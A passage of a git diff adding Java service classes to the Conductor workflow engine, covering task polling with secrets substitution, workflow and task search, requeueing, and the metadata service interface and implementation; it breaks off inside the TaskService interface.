queueTaskMessagePostponeSecs); + LOGGER.debug( + "RateLimit Execution limited for {}:{}, limit:{}", + taskId, + taskModel.getTaskDefName(), + taskModel.getRateLimitPerFrequency()); + continue; + } + + taskModel.setStatus(TaskModel.Status.IN_PROGRESS); + if (taskModel.getStartTime() == 0) { + taskModel.setStartTime(System.currentTimeMillis()); + Monitors.recordQueueWaitTime( + taskModel.getTaskDefName(), taskModel.getQueueWaitTime()); + } + taskModel.setCallbackAfterSeconds( + 0); // reset callbackAfterSeconds when giving the task to the worker + taskModel.setWorkerId(workerId); + taskModel.incrementPollCount(); + executionDAOFacade.updateTask(taskModel); + adjustDeciderQueuePostpone(taskModel, taskDef); + Task task = taskModel.toTask(); + // Secrets substitution only sees taskModel.getInputData(); when input has been + // offloaded to external payload storage, getInputData()/setInputData() operate on + // a different field and this substitution silently becomes a no-op. + if (taskModel.getExternalInputPayloadStoragePath() != null) { + LOGGER.warn( + "Task {} has externalized input; ${{workflow.secrets.*}} references are not resolved for external payload storage", + taskModel.getTaskId()); + } + // Stopgap: keep a resolution error off the outer catch (which re-enqueues and, with + // the IN_PROGRESS write above, loops until responseTimeoutSeconds). Proper handling + // (FAILED vs. deliver-unresolved) is a follow-up. + try { + task.setInputData(parametersUtils.substituteSecrets(task.getInputData())); + if (taskDef != null) { + task.setRuntimeMetadata( + runtimeMetadataResolver.resolve(taskDef.getRuntimeMetadata())); + } + } catch (Exception e) { + LOGGER.error( + "Failed to resolve secrets/runtimeMetadata for task {}; delivering task without resolved values", + task.getTaskId(), + e); + } + tasks.add(task); + } catch (Exception e) { + // db operation failed for dequeued message, re-enqueue with a delay + LOGGER.warn( + "DB operation failed for task: {}, postponing task in queue", taskId, e); + Monitors.recordTaskPollError(taskType, domain, e.getClass().getSimpleName()); + queueDAO.postpone(queueName, taskId, 0, queueTaskMessagePostponeSecs); + } + } + taskIds.stream() + .map(executionDAOFacade::getTaskModel) + .filter(Objects::nonNull) + .filter(task -> TaskModel.Status.IN_PROGRESS.equals(task.getStatus())) + .forEach( + task -> { + try { + taskStatusListener.onTaskInProgress(task); + } catch (Exception e) { + String errorMsg = + String.format( + "Error while notifying TaskStatusListener: %s for workflow: %s", + task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + } + }); + executionDAOFacade.updateTaskLastPoll(taskType, domain, workerId); + Monitors.recordTaskPoll(queueName); + tasks.forEach(this::ackTaskReceived); + return tasks; + } + + /** + * When a task transitions SCHEDULED → IN_PROGRESS the relevant deadline changes from + * pollTimeoutSeconds to responseTimeoutSeconds. Advance the decider queue entry to fire at the + * response timeout so the sweeper doesn't wait for the now-stale poll-based postpone. + * + *

    Uses {@link QueueDAO#setUnackTimeoutIfShorter} so we never push the evaluation further out + * than whatever the sweeper already scheduled (e.g. for another in-flight task with a shorter + * remaining timeout). + */ + private void adjustDeciderQueuePostpone(TaskModel taskModel, TaskDef taskDef) { + long responseTimeoutSeconds = + (taskDef != null && taskDef.getResponseTimeoutSeconds() != 0) + ? taskDef.getResponseTimeoutSeconds() + : taskModel.getResponseTimeoutSeconds(); + if (responseTimeoutSeconds == 0) { + return; // no response timeout — nothing to adjust + } + try { + queueDAO.setUnackTimeoutIfShorter( + Utils.DECIDER_QUEUE, + taskModel.getWorkflowInstanceId(), + responseTimeoutSeconds * 1000); + } catch (Exception e) { + LOGGER.warn( + "Failed to adjust decider queue postpone for workflow: {} after polling task: {}", + taskModel.getWorkflowInstanceId(), + taskModel.getTaskId(), + e); + } + } + + public Task getLastPollTask(String taskType, String workerId, String domain) { + List tasks = poll(taskType, workerId, domain, POLL_COUNT_ONE, POLLING_TIMEOUT_IN_MS); + if (tasks.isEmpty()) { + LOGGER.debug( + "No Task available for the poll: /tasks/poll/{}?{}&{}", + taskType, + workerId, + domain); + return null; + } + Task task = tasks.get(0); + + LOGGER.debug( + "The Task {} being returned for /tasks/poll/{}?{}&{}", + task, + taskType, + workerId, + domain); + return task; + } + + public List getPollData(String taskType) { + return executionDAOFacade.getTaskPollData(taskType); + } + + public List getAllPollData() { + try { + return executionDAOFacade.getAllPollData(); + } catch (UnsupportedOperationException uoe) { + List allPollData = new ArrayList<>(); + Map queueSizes = queueDAO.queuesDetail(); + queueSizes + .keySet() + .forEach( + queueName -> { + try { + if (!queueName.contains(QueueUtils.DOMAIN_SEPARATOR)) { + allPollData.addAll( + getPollData( + QueueUtils.getQueueNameWithoutDomain( + queueName))); + } + } catch (Exception e) { + LOGGER.error("Unable to fetch all poll data!", e); + } + }); + return allPollData; + } + } + + public void terminateWorkflow(String workflowId, String reason) { + workflowExecutor.terminateWorkflow(workflowId, reason); + } + + public TaskModel updateTask(TaskResult taskResult) { + return workflowExecutor.updateTask(taskResult); + } + + public List getTasks(String taskType, String startKey, int count) { + return executionDAOFacade.getTasksByName(taskType, startKey, count); + } + + public Task getTask(String taskId) { + return executionDAOFacade.getTask(taskId); + } + + public Task getPendingTaskForWorkflow(String taskReferenceName, String workflowId) { + List tasks = executionDAOFacade.getTaskModelsForWorkflow(workflowId); + Stream taskStream = + tasks.stream().filter(task -> !task.getStatus().isTerminal()); + Optional found = + taskStream + .filter(task -> task.getReferenceTaskName().equals(taskReferenceName)) + .findFirst(); + if (found.isPresent()) { + return found.get().toTask(); + } + // If no task is found, let's check if there is one inside an iteration + found = + tasks.stream() + .filter(task -> !task.getStatus().isTerminal()) + .filter( + task -> + TaskUtils.removeIterationFromTaskRefName( + task.getReferenceTaskName()) + .equals(taskReferenceName)) + .findFirst(); + + return found.map(TaskModel::toTask).orElse(null); + } + + /** + * This method removes the task from the un-acked Queue + * + * @param taskId: the taskId that needs to be updated and removed from the unacked queue + * @return True in case of successful removal of the taskId from the un-acked queue + */ + public boolean ackTaskReceived(String taskId) { + return Optional.ofNullable(getTask(taskId)).map(this::ackTaskReceived).orElse(false); + } + + public boolean ackTaskReceived(Task task) { + return queueDAO.ack(QueueUtils.getQueueName(task), task.getTaskId()); + } + + public Map getTaskQueueSizes(List taskDefNames) { + Map sizes = new HashMap<>(); + for (String taskDefName : taskDefNames) { + sizes.put(taskDefName, getTaskQueueSize(taskDefName)); + } + return sizes; + } + + public Integer getTaskQueueSize(String queueName) { + return queueDAO.getSize(queueName); + } + + public void removeTaskFromQueue(String taskId) { + Task task = getTask(taskId); + if (task == null) { + throw new NotFoundException("No such task found by taskId: %s", taskId); + } + queueDAO.remove(QueueUtils.getQueueName(task), taskId); + } + + public int requeuePendingTasks(String taskType) { + + int count = 0; + List tasks = getPendingTasksForTaskType(taskType); + + for (Task pending : tasks) { + + if (systemTaskRegistry.isSystemTask(pending.getTaskType())) { + continue; + } + if (pending.getStatus().isTerminal()) { + continue; + } + + LOGGER.debug( + "Requeuing Task: {} of taskType: {} in Workflow: {}", + pending.getTaskId(), + pending.getTaskType(), + pending.getWorkflowInstanceId()); + boolean pushed = requeue(pending); + if (pushed) { + count++; + } + } + return count; + } + + private boolean requeue(Task pending) { + long callback = pending.getCallbackAfterSeconds(); + if (callback < 0) { + callback = 0; + } + queueDAO.remove(QueueUtils.getQueueName(pending), pending.getTaskId()); + long now = System.currentTimeMillis(); + callback = callback - ((now - pending.getUpdateTime()) / 1000); + if (callback < 0) { + callback = 0; + } + return queueDAO.pushIfNotExists( + QueueUtils.getQueueName(pending), + pending.getTaskId(), + pending.getWorkflowPriority(), + callback); + } + + public List getWorkflowInstances( + String workflowName, + String correlationId, + boolean includeClosed, + boolean includeTasks) { + + List workflows = + executionDAOFacade.getWorkflowsByCorrelationId(workflowName, correlationId, false); + return workflows.stream() + .parallel() + .filter( + workflow -> { + if (includeClosed + || workflow.getStatus() + .equals(Workflow.WorkflowStatus.RUNNING)) { + // including tasks for subset of workflows to increase performance + if (includeTasks) { + List tasks = + executionDAOFacade.getTasksForWorkflow( + workflow.getWorkflowId()); + tasks.sort(Comparator.comparingInt(Task::getSeq)); + workflow.setTasks(tasks); + } + return true; + } else { + return false; + } + }) + .collect(Collectors.toList()); + } + + public Workflow getExecutionStatus(String workflowId, boolean includeTasks) { + return executionDAOFacade.getWorkflow(workflowId, includeTasks); + } + + public WorkflowModel getWorkflowModel(String workflowId, boolean includeTasks) { + return executionDAOFacade.getWorkflowModel(workflowId, includeTasks); + } + + public List getRunningWorkflows(String workflowName, int version) { + return executionDAOFacade.getRunningWorkflowIds(workflowName, version); + } + + public void removeWorkflow(String workflowId, boolean archiveWorkflow) { + executionDAOFacade.removeWorkflow(workflowId, archiveWorkflow); + } + + public SearchResult search( + String query, String freeText, int start, int size, List sortOptions) { + return executionDAOFacade.searchWorkflowSummary(query, freeText, start, size, sortOptions); + } + + public SearchResult searchV2( + String query, String freeText, int start, int size, List sortOptions) { + + SearchResult result = + executionDAOFacade.searchWorkflows(query, freeText, start, size, sortOptions); + List workflows = + result.getResults().stream() + .parallel() + .map( + workflowId -> { + try { + return executionDAOFacade.getWorkflow(workflowId, false); + } catch (Exception e) { + LOGGER.error( + "Error fetching workflow by id: {}", workflowId, e); + return null; + } + }) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + int missing = result.getResults().size() - workflows.size(); + long totalHits = result.getTotalHits() - missing; + return new SearchResult<>(totalHits, workflows); + } + + public SearchResult searchWorkflowByTasks( + String query, String freeText, int start, int size, List sortOptions) { + SearchResult taskSummarySearchResult = + searchTaskSummary(query, freeText, start, size, sortOptions); + List workflowSummaries = + taskSummarySearchResult.getResults().stream() + .parallel() + .map( + taskSummary -> { + try { + String workflowId = taskSummary.getWorkflowId(); + return new WorkflowSummary( + executionDAOFacade.getWorkflow(workflowId, false)); + } catch (Exception e) { + LOGGER.error( + "Error fetching workflow by id: {}", + taskSummary.getWorkflowId(), + e); + return null; + } + }) + .filter(Objects::nonNull) + .distinct() + .collect(Collectors.toList()); + int missing = taskSummarySearchResult.getResults().size() - workflowSummaries.size(); + long totalHits = taskSummarySearchResult.getTotalHits() - missing; + return new SearchResult<>(totalHits, workflowSummaries); + } + + public SearchResult searchWorkflowByTasksV2( + String query, String freeText, int start, int size, List sortOptions) { + SearchResult taskSummarySearchResult = + searchTasks(query, freeText, start, size, sortOptions); + List workflows = + taskSummarySearchResult.getResults().stream() + .parallel() + .map( + taskSummary -> { + try { + String workflowId = taskSummary.getWorkflowId(); + return executionDAOFacade.getWorkflow(workflowId, false); + } catch (Exception e) { + LOGGER.error( + "Error fetching workflow by id: {}", + taskSummary.getWorkflowId(), + e); + return null; + } + }) + .filter(Objects::nonNull) + .distinct() + .collect(Collectors.toList()); + int missing = taskSummarySearchResult.getResults().size() - workflows.size(); + long totalHits = taskSummarySearchResult.getTotalHits() - missing; + return new SearchResult<>(totalHits, workflows); + } + + public SearchResult searchTasks( + String query, String freeText, int start, int size, List sortOptions) { + + SearchResult result = + executionDAOFacade.searchTasks(query, freeText, start, size, sortOptions); + List workflows = + result.getResults().stream() + .parallel() + .map( + task -> { + try { + return new TaskSummary(executionDAOFacade.getTask(task)); + } catch (Exception e) { + LOGGER.error("Error fetching task by id: {}", task, e); + return null; + } + }) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + int missing = result.getResults().size() - workflows.size(); + long totalHits = result.getTotalHits() - missing; + return new SearchResult<>(totalHits, workflows); + } + + public SearchResult searchTaskSummary( + String query, String freeText, int start, int size, List sortOptions) { + return executionDAOFacade.searchTaskSummary(query, freeText, start, size, sortOptions); + } + + public SearchResult getSearchTasks( + String query, + String freeText, + int start, + /*@Max(value = MAX_SEARCH_SIZE, message = "Cannot return more than {value} workflows." + + " Please use pagination.")*/ int size, + String sortString) { + return searchTaskSummary( + query, freeText, start, size, Utils.convertStringToList(sortString)); + } + + public SearchResult getSearchTasksV2( + String query, String freeText, int start, int size, String sortString) { + SearchResult result = + executionDAOFacade.searchTasks( + query, freeText, start, size, Utils.convertStringToList(sortString)); + List tasks = + result.getResults().stream() + .parallel() + .map( + task -> { + try { + return executionDAOFacade.getTask(task); + } catch (Exception e) { + LOGGER.error("Error fetching task by id: {}", task, e); + return null; + } + }) + .filter(Objects::nonNull) + .collect(Collectors.toList()); + int missing = result.getResults().size() - tasks.size(); + long totalHits = result.getTotalHits() - missing; + return new SearchResult<>(totalHits, tasks); + } + + public List getPendingTasksForTaskType(String taskType) { + return executionDAOFacade.getPendingTasksForTaskType(taskType); + } + + public boolean addEventExecution(EventExecution eventExecution) { + return executionDAOFacade.addEventExecution(eventExecution); + } + + public void removeEventExecution(EventExecution eventExecution) { + executionDAOFacade.removeEventExecution(eventExecution); + } + + public void updateEventExecution(EventExecution eventExecution) { + executionDAOFacade.updateEventExecution(eventExecution); + } + + /** + * @param queue Name of the registered queueDAO + * @param msg Message + */ + public void addMessage(String queue, Message msg) { + executionDAOFacade.addMessage(queue, msg); + } + + /** + * Adds task logs + * + * @param taskId Id of the task + * @param log logs + */ + public void log(String taskId, String log) { + TaskExecLog executionLog = new TaskExecLog(); + executionLog.setTaskId(taskId); + executionLog.setLog(log); + executionLog.setCreatedTime(System.currentTimeMillis()); + executionDAOFacade.addTaskExecLog(Collections.singletonList(executionLog)); + } + + /** + * @param taskId Id of the task for which to retrieve logs + * @return Execution Logs (logged by the worker) + */ + public List getTaskLogs(String taskId) { + return executionDAOFacade.getTaskExecutionLogs(taskId); + } + + /** + * Get external uri for the payload + * + * @param path the path for which the external storage location is to be populated + * @param operation the type of {@link Operation} to be performed + * @param type the {@link PayloadType} at the external uri + * @return the external uri at which the payload is stored/to be stored + */ + public ExternalStorageLocation getExternalStorageLocation( + String path, String operation, String type) { + try { + ExternalPayloadStorage.Operation payloadOperation = + ExternalPayloadStorage.Operation.valueOf(StringUtils.upperCase(operation)); + ExternalPayloadStorage.PayloadType payloadType = + ExternalPayloadStorage.PayloadType.valueOf(StringUtils.upperCase(type)); + return externalPayloadStorage.getLocation(payloadOperation, payloadType, path); + } catch (Exception e) { + String errorMsg = + String.format( + "Invalid input - Operation: %s, PayloadType: %s", operation, type); + LOGGER.error(errorMsg); + throw new IllegalArgumentException(errorMsg); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/MetadataService.java b/core/src/main/java/com/netflix/conductor/service/MetadataService.java new file mode 100644 index 0000000..b8d6c66 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/MetadataService.java @@ -0,0 +1,177 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; +import java.util.Map; +import java.util.Optional; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.common.model.BulkResponse; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; +import jakarta.validation.constraints.Size; + +@Validated +public interface MetadataService { + + /** + * @param taskDefinitions Task Definitions to register + */ + void registerTaskDef( + @NotNull(message = "TaskDefList cannot be empty or null") + @Size(min = 1, message = "TaskDefList is empty") + List<@Valid TaskDef> taskDefinitions); + + /** + * @param taskDefinition Task Definition to be updated + */ + void updateTaskDef(@NotNull(message = "TaskDef cannot be null") @Valid TaskDef taskDefinition); + + /** + * @param taskType Remove task definition + */ + void unregisterTaskDef(@NotEmpty(message = "TaskName cannot be null or empty") String taskType); + + /** + * @return List of all the registered tasks + */ + List getTaskDefs(); + + /** + * @param taskType Task to retrieve + * @return Task Definition + */ + TaskDef getTaskDef(@NotEmpty(message = "TaskType cannot be null or empty") String taskType); + + /** + * @param def Workflow definition to be updated + */ + void updateWorkflowDef(@NotNull(message = "WorkflowDef cannot be null") @Valid WorkflowDef def); + + /** + * @param workflowDefList Workflow definitions to be updated. + */ + BulkResponse updateWorkflowDef( + @NotNull(message = "WorkflowDef list name cannot be null or empty") + @Size(min = 1, message = "WorkflowDefList is empty") + List<@NotNull(message = "WorkflowDef cannot be null") @Valid WorkflowDef> + workflowDefList); + + /** + * @param name Name of the workflow to retrieve + * @param version Optional. Version. If null, then retrieves the latest + * @return Workflow definition + */ + WorkflowDef getWorkflowDef( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + Integer version); + + /** + * @param name Name of the workflow to retrieve + * @return Latest version of the workflow definition + */ + Optional getLatestWorkflow( + @NotEmpty(message = "Workflow name cannot be null or empty") String name); + + /** + * @return Returns all workflow defs (all versions) + */ + List getWorkflowDefs(); + + /** + * @return Returns workflow names and versions only (no definition bodies) + */ + Map> getWorkflowNamesAndVersions(); + + void registerWorkflowDef( + @NotNull(message = "WorkflowDef cannot be null") @Valid WorkflowDef workflowDef); + + Optional findWorkflowDef( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + @NotNull(message = "Version cannot be null") Integer version); + + /** + * Validates a {@link WorkflowDef}. + * + * @param workflowDef The {@link WorkflowDef} object. + */ + default void validateWorkflowDef( + @NotNull(message = "WorkflowDef cannot be null") @Valid WorkflowDef workflowDef) { + // do nothing, WorkflowDef is annotated with @Valid and calling this method will validate it + } + + /** + * @param name Name of the workflow definition to be removed + * @param version Version of the workflow definition to be removed + */ + void unregisterWorkflowDef( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + @NotNull(message = "Version cannot be null") Integer version); + + /** + * @param eventHandler Event handler to be added. Will throw an exception if an event handler + * already exists with the name + */ + void addEventHandler( + @NotNull(message = "EventHandler cannot be null") @Valid EventHandler eventHandler); + + /** + * @param eventHandler Event handler to be updated. + */ + void updateEventHandler( + @NotNull(message = "EventHandler cannot be null") @Valid EventHandler eventHandler); + + /** + * @param name Removes the event handler from the system + */ + void removeEventHandlerStatus( + @NotEmpty(message = "EventName cannot be null or empty") String name); + + /** + * @return All the event handlers registered in the system + */ + List getAllEventHandlers(); + + /** + * @param event name of the event + * @param activeOnly if true, returns only the active handlers + * @return Returns the list of all the event handlers for a given event + */ + List getEventHandlersForEvent( + @NotEmpty(message = "EventName cannot be null or empty") String event, + boolean activeOnly); + + List getWorkflowDefsLatestVersions(); + + /** + * @return Returns distinct workflow definition names (no versions, no definition bodies) + */ + List getWorkflowNames(); + + /** + * Returns lightweight version summaries for a single workflow. + * + * @param name workflow name + * @return list of version summaries sorted by version ascending + */ + List getWorkflowVersions( + @NotEmpty(message = "Workflow name cannot be null or empty") String name); +} diff --git a/core/src/main/java/com/netflix/conductor/service/MetadataServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/MetadataServiceImpl.java new file mode 100644 index 0000000..9ff45e1 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/MetadataServiceImpl.java @@ -0,0 +1,281 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.TreeSet; + +import org.conductoross.conductor.core.listener.MetadataChangeListener; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.common.constraints.OwnerEmailMandatoryConstraint; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.core.WorkflowContext; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.validations.ValidationContext; + +@Service +public class MetadataServiceImpl implements MetadataService { + private static final Logger LOGGER = LoggerFactory.getLogger(MetadataServiceImpl.class); + private final MetadataDAO metadataDAO; + private final EventHandlerDAO eventHandlerDAO; + private final MetadataChangeListener metadataChangeListener; + + public MetadataServiceImpl( + MetadataDAO metadataDAO, + EventHandlerDAO eventHandlerDAO, + MetadataChangeListener metadataChangeListener, + ConductorProperties properties) { + this.metadataDAO = metadataDAO; + this.eventHandlerDAO = eventHandlerDAO; + this.metadataChangeListener = metadataChangeListener; + + ValidationContext.initialize(metadataDAO); + OwnerEmailMandatoryConstraint.WorkflowTaskValidValidator.setOwnerEmailMandatory( + properties.isOwnerEmailMandatory()); + } + + /** + * @param taskDefinitions Task Definitions to register + */ + public void registerTaskDef(List taskDefinitions) { + for (TaskDef taskDefinition : taskDefinitions) { + taskDefinition.setCreatedBy(WorkflowContext.get().getClientApp()); + taskDefinition.setCreateTime(System.currentTimeMillis()); + taskDefinition.setUpdatedBy(null); + taskDefinition.setUpdateTime(null); + + metadataDAO.createTaskDef(taskDefinition); + metadataChangeListener.onTaskDefRegistered(taskDefinition); + } + } + + @Override + public void validateWorkflowDef(WorkflowDef workflowDef) { + // do nothing, WorkflowDef is annotated with @Valid and calling this method will validate it + } + + /** + * @param taskDefinition Task Definition to be updated + */ + public void updateTaskDef(TaskDef taskDefinition) { + TaskDef existing = metadataDAO.getTaskDef(taskDefinition.getName()); + if (existing == null) { + throw new NotFoundException("No such task by name %s", taskDefinition.getName()); + } + taskDefinition.setUpdatedBy(WorkflowContext.get().getClientApp()); + taskDefinition.setUpdateTime(System.currentTimeMillis()); + taskDefinition.setCreateTime(existing.getCreateTime()); + taskDefinition.setCreatedBy(existing.getCreatedBy()); + metadataDAO.updateTaskDef(taskDefinition); + metadataChangeListener.onTaskDefUpdated(taskDefinition); + } + + /** + * @param taskType Remove task definition + */ + public void unregisterTaskDef(String taskType) { + metadataDAO.removeTaskDef(taskType); + metadataChangeListener.onTaskDefUnregistered(taskType); + } + + /** + * @return List of all the registered tasks + */ + public List getTaskDefs() { + return metadataDAO.getAllTaskDefs(); + } + + /** + * @param taskType Task to retrieve + * @return Task Definition + */ + public TaskDef getTaskDef(String taskType) { + TaskDef taskDef = metadataDAO.getTaskDef(taskType); + if (taskDef == null) { + throw new NotFoundException("No such taskType found by name: %s", taskType); + } + return taskDef; + } + + /** + * @param workflowDef Workflow definition to be updated + */ + public void updateWorkflowDef(WorkflowDef workflowDef) { + workflowDef.setUpdateTime(System.currentTimeMillis()); + metadataDAO.updateWorkflowDef(workflowDef); + metadataChangeListener.onWorkflowDefUpdated(workflowDef); + } + + /** + * @param workflowDefList Workflow definitions to be updated. + */ + public BulkResponse updateWorkflowDef(List workflowDefList) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (WorkflowDef workflowDef : workflowDefList) { + try { + updateWorkflowDef(workflowDef); + bulkResponse.appendSuccessResponse(workflowDef.getName()); + } catch (Exception e) { + LOGGER.error("bulk update workflow def failed, name {} ", workflowDef.getName(), e); + bulkResponse.appendFailedResponse(workflowDef.getName(), e.getMessage()); + } + } + return bulkResponse; + } + + /** + * @param name Name of the workflow to retrieve + * @param version Optional. Version. If null, then retrieves the latest + * @return Workflow definition + */ + public WorkflowDef getWorkflowDef(String name, Integer version) { + Optional workflowDef; + if (version == null) { + workflowDef = metadataDAO.getLatestWorkflowDef(name); + } else { + workflowDef = metadataDAO.getWorkflowDef(name, version); + } + + return workflowDef.orElseThrow( + () -> + new NotFoundException( + "No such workflow found by name: %s, version: %d", name, version)); + } + + /** + * @param name Name of the workflow to retrieve + * @return Latest version of the workflow definition + */ + public Optional getLatestWorkflow(String name) { + return metadataDAO.getLatestWorkflowDef(name); + } + + public List getWorkflowDefs() { + return metadataDAO.getAllWorkflowDefs(); + } + + public void registerWorkflowDef(WorkflowDef workflowDef) { + workflowDef.setCreateTime(System.currentTimeMillis()); + metadataDAO.createWorkflowDef(workflowDef); + metadataChangeListener.onWorkflowDefRegistered(workflowDef); + } + + public Optional findWorkflowDef(String name, Integer version) { + return metadataDAO.getWorkflowDef(name, version); + } + + /** + * @param name Name of the workflow definition to be removed + * @param version Version of the workflow definition to be removed + */ + public void unregisterWorkflowDef(String name, Integer version) { + metadataDAO.removeWorkflowDef(name, version); + metadataChangeListener.onWorkflowDefUnregistered(name, version); + } + + /** + * @param eventHandler Event handler to be added. Will throw an exception if an event handler + * already exists with the name + */ + public void addEventHandler(EventHandler eventHandler) { + eventHandlerDAO.addEventHandler(eventHandler); + metadataChangeListener.onEventHandlerRegistered(eventHandler); + } + + /** + * @param eventHandler Event handler to be updated. + */ + public void updateEventHandler(EventHandler eventHandler) { + eventHandlerDAO.updateEventHandler(eventHandler); + metadataChangeListener.onEventHandlerUpdated(eventHandler); + } + + /** + * @param name Removes the event handler from the system + */ + public void removeEventHandlerStatus(String name) { + eventHandlerDAO.removeEventHandler(name); + metadataChangeListener.onEventHandlerUnregistered(name); + } + + /** + * @return All the event handlers registered in the system + */ + public List getAllEventHandlers() { + return eventHandlerDAO.getAllEventHandlers(); + } + + /** + * @param event name of the event + * @param activeOnly if true, returns only the active handlers + * @return Returns the list of all the event handlers for a given event + */ + public List getEventHandlersForEvent(String event, boolean activeOnly) { + return eventHandlerDAO.getEventHandlersForEvent(event, activeOnly); + } + + @Override + public List getWorkflowDefsLatestVersions() { + return metadataDAO.getAllWorkflowDefsLatestVersions(); + } + + public Map> getWorkflowNamesAndVersions() { + List workflowDefs = metadataDAO.getAllWorkflowDefs(); + + Map> retval = new HashMap<>(); + for (WorkflowDef def : workflowDefs) { + String workflowName = def.getName(); + WorkflowDefSummary summary = fromWorkflowDef(def); + + retval.putIfAbsent(workflowName, new TreeSet()); + + TreeSet versions = retval.get(workflowName); + versions.add(summary); + } + + return retval; + } + + @Override + public List getWorkflowNames() { + return metadataDAO.getWorkflowNames(); + } + + @Override + public List getWorkflowVersions(String name) { + return metadataDAO.getWorkflowVersions(name); + } + + private WorkflowDefSummary fromWorkflowDef(WorkflowDef def) { + WorkflowDefSummary summary = new WorkflowDefSummary(); + summary.setName(def.getName()); + summary.setVersion(def.getVersion()); + summary.setCreateTime(def.getCreateTime()); + summary.setUpdateTime(def.getUpdateTime()); + + return summary; + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/TaskService.java b/core/src/main/java/com/netflix/conductor/service/TaskService.java new file mode 100644 index 0000000..d568ed3 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/TaskService.java @@ -0,0 +1,261 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; +import java.util.Map; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.model.TaskModel; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +@Validated +public interface TaskService { + + /** + * Poll for a task of a certain type. + * + * @param taskType Task name + * @param workerId Id of the workflow + * @param domain Domain of the workflow + * @return polled {@link Task} + */ + Task poll( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType, + String workerId, + String domain); + + /** + * Batch Poll for a task of a certain type. + * + * @param taskType Task Name + * @param workerId Id of the workflow + * @param domain Domain of the workflow + * @param count Number of tasks + * @param timeout Timeout for polling in milliseconds + * @return list of {@link Task} + */ + List batchPoll( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType, + String workerId, + String domain, + Integer count, + Integer timeout); + + /** + * Get in progress tasks. The results are paginated. + * + * @param taskType Task Name + * @param startKey Start index of pagination + * @param count Number of entries + * @return list of {@link Task} + */ + List getTasks( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType, + String startKey, + Integer count); + + /** + * Get in progress task for a given workflow id. + * + * @param workflowId Id of the workflow + * @param taskReferenceName Task reference name. + * @return instance of {@link Task} + */ + Task getPendingTaskForWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + @NotEmpty(message = "TaskReferenceName cannot be null or empty.") + String taskReferenceName); + + /** + * Updates a task. + * + * @param taskResult Instance of {@link TaskResult} + * @return the updated task. + */ + TaskModel updateTask( + @NotNull(message = "TaskResult cannot be null or empty.") @Valid TaskResult taskResult); + + /** + * Ack Task is received. + * + * @param taskId Id of the task + * @param workerId Id of the worker + * @return `true|false` if task if received or not + */ + String ackTaskReceived( + @NotEmpty(message = "TaskId cannot be null or empty.") String taskId, String workerId); + + /** + * Ack Task is received. + * + * @param taskId Id of the task + * @return `true|false` if task if received or not + */ + boolean ackTaskReceived(@NotEmpty(message = "TaskId cannot be null or empty.") String taskId); + + /** + * 